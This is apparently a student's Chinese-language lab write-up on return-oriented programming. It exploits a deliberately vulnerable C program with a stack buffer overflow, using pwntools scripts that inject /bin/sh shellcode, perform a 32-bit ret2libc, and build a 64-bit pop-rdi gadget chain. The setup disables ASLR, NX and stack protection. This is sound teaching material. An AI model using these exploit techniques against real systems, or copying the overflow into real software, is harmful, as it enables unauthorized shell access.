漏洞分析技术实验2:ROP技术基础

漏洞分析技术实验2:ROP技术基础

FindFuner author

实验2:ROP技术基础

1.实验环境

Linux虚拟机(Ubuntu)

源文件(rop1.c)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include<stdio.h>
#include <fcntl.h>
#include <unistd.h>
void vuln()
{
char buf[128];
read(0,buf,256);

}
int main()
{
vuln();
write(1,"hello rop\n",10);
}

2.实验原理

​ ROP的全称为Return-oriented Programming(返回导向编程)
即计算机安全漏洞利用技术:
​ 绕过可执行空间保护、代码签名等安全保护机制执行恶意代码
​ 通过控制被调用的堆栈对程序的控制流进行劫持,完成某些特定功能
多与栈溢出漏洞结合利用:
​ 覆盖栈帧的返回地址和其他变量,将控制流转移到期望的地址中

3.实验要求

  1. 针对实验一,通过gdb调试rop1,确定shellcode的地址;此外,通过rop1.py的调试脚本确定shellcode地址;最终拿到shell权限。相关详细分析过程写入报告,并比较两种方法的特点。

  2. 针对实验二的32位环境和64位环境,通过调试分析,完成实际rop2.py和rop3.py(预留有空白和错误之处),最终拿到shell权限。相关详细分析过程写入报告

4.实验过程

4.1 实验一:程序流的劫持

准备工作

关闭ASLR地址空间随机化

1
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"

对rop1.c进行编译,并关闭栈保护和NX保护。

1
gcc rop1.c -o rop1 -m32 -fno-stack-protector -z execstack

checksec确定保护机制已关闭

漏洞分析

​ vuln( )函数中,buf数组的大小为128字节,但是在read时最多能够读入256字节,容易造成缓冲区溢出,利用这个漏洞对程序流进行劫持,执行构造好的payload。
​ 具体的思路是,把payload写入buf数组中,并利用缓冲区漏洞,将返回地址修改为buf数组的地址,vuln( )函数返回之后,就会到buf数组中执行恶意代码。

漏洞利用

确定覆写返回地址的值
1
2
gdb rop1
disass vuln

​ 运行 gdb,用其 pwndbg 插件对可执行文件 rop1 进行分析。disass vuln 为查看 vuln 函数的汇编指令。当然也可以拖入 ida 对其进行静态分析。

​ payload中除了 shellcode 外,要填充足够长度以覆盖返回地址。Buf数组的地址为 ebp-0x88 ,即buf 距离 ebp 有0x88字节,ebp 距离返回地址又 0x4 字节(32位时),覆盖返回地址前先填充 0x8c 个字节。

image-20231009212231248

构造shellcode

​ pwntools中有一个shellcraft模块可生成shellcode,其中shellcraft.sh()就是生成执行/bin/sh的shellcode。
​ 再用asm()把shellcode转换为机器码。

image-20231009212609357

初步脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
# coding=utf-8
from pwn import *
#执行rop1进程
p = process('./rop1')
#shellcode
shellcode = asm(shellcraft.sh())
#shellcode的地址暂且写为0xdeadbeef
shellcode_addr = 0xdeadbeef
#构造payload并发送
payload = shellcode.ljust(0x8c,'a')+p32(shellcode_addr)
p.sendline(payload)
#进入交互模式
p.interactive()
确定覆写返回地址的值

​ Shellcode中要填充的长度解决了,要确定覆盖返回地址的内容,即将要覆盖为的buf数组的地址,在终端进行gdb调试程序,查看内存得到的地址和真正执行程序的地址是不一样的,gdb的调试环境会影响buf变量在内存中的地址。

方法1:开启core dump(用命令可开启)

​ 脚本中我们将shellcode的地址暂时写入一个无意义的值,由于不存在返回地址为0xdeadbeef,当程序执行至此时会崩溃,当程序执行至此时会崩溃,在当前目录下会生成一个core文件。

image-20231009215247275

​ 通过gdb查看core中包含的崩溃信息

1
gdb ./rop1 core

image-20231009222607346

在崩溃的位置查看地址esp-0x90

image-20231009222802523

此时esp指针位于返回地址的下一个位置,因此buf的地址是esp-0x4-0x8c,即地址esp-0x90

buf的地址是0xffffd010,用这个地址替换脚本中的0xdeadbeef,执行脚本即获取shell。

image-20231009222835068

方法2:在脚本中进行gdb调试获取buf数组真实地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
#执行rop1进程
p = process('./rop1')
#开启gdb调试,并在vuln函数处设置断点
gdb.attach(p,'b vuln')
#shellcode
shellcode = asm(shellcraft.sh())
#shellcode的地址暂且写为0xdeadbeef
shellcode_addr = 0xdeadbeef
#构造payload并发送
payload = shellcode.ljust(0x8c,'a')+p32(shellcode_addr)
p.sendline(payload)
#进入交互模式
p.interactive()

​ 利用 gdb.attach(p,’b vuln’) ,直接在脚本中进行gdb调试,弹出新的窗口后执行 c,让程序运行直到崩溃,在通过 x/s $esp-090 查看buf的地址,此时查看到的地址就是真实的地址(同core dump调试一样)。

最终脚本
1
2
3
4
5
6
7
8
9
from pwn import *
p = process('./rop1')
gdb.attach(p,'b vuln')
shellcode = asm(shellcraft.sh())
shellcode_addr = 0xdeadbeef
#shellcode_addr = 0xffffd010
payload = shellcode.ljust(0x8c,b'a')+p32(shellcode_addr)
p.sendline(payload)
p.interactive()

4.2 实验二:ROP绕过NX保护

准备工作(32位)

只开启Canary栈保护:

1
gcc rop1.c -o rop2 -m32 -fno-stack-protector 

查看rop2进程栈的权限为rw,不可执行。

image-20231009224414868

checksec确认:

image-20231009224740418

漏洞利用(32位)

​ 不能在栈上执行shellcode,但程序中用到了libc库中的read和printf函数。libc.so中保存了大量的可用函数,考虑调用system(‘/bin/sh’)来获取shell。

​ 首先,通过print system 获得system地址(由于关闭了ASLR,system函数在内存中地址不会发生变化)。

1
2
3
4
gdb rop2
b vuln
r
print system

image-20231009225417247

然后,获取字符串’/bin/sh’地址,libc.so中也包含了’/bin/sh’字符串。开启gdb,通过vmmap查看程序堆栈结构,并在libc.so的栈地址范围内寻找字符串‘/bin/sh’地址。

1
2
vmmap
find 0xf7e06000,0xf7fb9000,"/bin/sh"

image-20231009225943569

ROP构造(32位)

最终的payload就是

1
’a’*0x8c+p32(sys_addr)+p32(0xdeadbeef)+p32(binsh_addr)

其中0xdeadbeef是system函数的返回地址,因为获取shell后没有别的操作了,就写一个0xdeadbeef作为返回地址。返回地址后面是system函数的参数,‘/bin/sh’的地址。

攻击脚本(32位)

1
2
3
4
5
6
7
8
from pwn import *

p = process('./rop2')
sys_addr = 0xf7e40da0
binsh_addr = 0xf7f61a0b
payload = 'a' * 0x8c + p32(sys_addr)+p32(0xdeadbeef)+p32(binsh_addr)
p.sendline(payload)
p.interactive()

image-20231009230538628

准备工作(64位)

​ 64 位和32 位不同,64位中参数存放在寄存器中,多于6个参数才会放在栈上。

​ 只开启Canary栈保护:

1
2
gcc rop1.c -o rop3 -m64 -fno-stack-protector
checksec --file=rop3

image-20231009231315264

漏洞利用(64位)

​ 由于参数不会直接放在栈上,需要寻找类似于 pop rdi;ret的gadget,将参数从栈中弹出到rdi寄存器后,返回到返回地址处继续执行。本例子在栈中事先压入参数’/bin/sh’地址和system地址。

​ 该实验将在栈中事先压入参数’/bin/sh’地址和system地址。首先同32位实验一样,找到系统中system函数地址以及’/bin/sh’存储地址,分别为0x7ffff7a52390和0x7ffff7b99d57,可以看出与32位系统中的地址值不同。

image-20231009231814206

image-20231009232200537

​ 查找gadget:借助ROPgadgets工具,在libc.so中查找可用的gadgets。先确定rop3使用的共享库。

image-20231009232335765

​ ROPgadgets查找结果如下,其中0x21102是相对于libc的偏移。

1
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret"|grep rdi

image-20231009232434619

ROP构造(64位)

​ 0x21102是这段指令片段相对于libc.so的偏移,我们用之前vmmap获取的libc.so首地址加上这个偏移,就得到了最终的地址。
​ 需要注意的是,64位系统编译出的buf地址也发生了改变,需要再次查看。

image-20231009233125124

sys_addr和binsh_addr地址的获取和32位系统下方法一样,但是值发生了变化。

1
2
3
4
5
p64(gadget_addr)+ p64(binsh_addr)+p64(sys_addr)+p64(0xdeadbeef)
gadget_addr:vuln函数返回地址即 pop rdi;ret 指令的地址
binsh_addr:弹入rdi中的字符串地址
sys_addr:ret的返回地址
0xdeadbeef:system函数返回地址

攻击脚本(64位)

1
2
3
4
5
6
7
8
9
from pwn import *

p = process('./rop3')
sys_addr = 0x7ffff7a52390
binsh_addr = 0x7ffff7b99d57
pr_addr = 0x7ffff7a0d000 + 0x21102
payload = 'a'*0x88+p64(pr_addr)+p64(binsh_addr)+p64(sys_addr)+p64(0xdeadbeef)
p.sendline(payload)
p.interactive()

image-20231009233541385

5.实验总结

通过实验,对ROP技术有了直观的认知,与此同时学习了利用python写pwn漏洞的利用脚本。

参考链接

https://liuruibin.com/posts/3df3/

  • 标题: 漏洞分析技术实验2:ROP技术基础
  • 作者: FindFuner
  • 创建于 : 2023-10-10 01:05:06
  • 更新于 : 2023-10-10 10:38:45
  • 链接: https://nnna48.github.io/2023/10/10/漏洞分析技术实验二/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。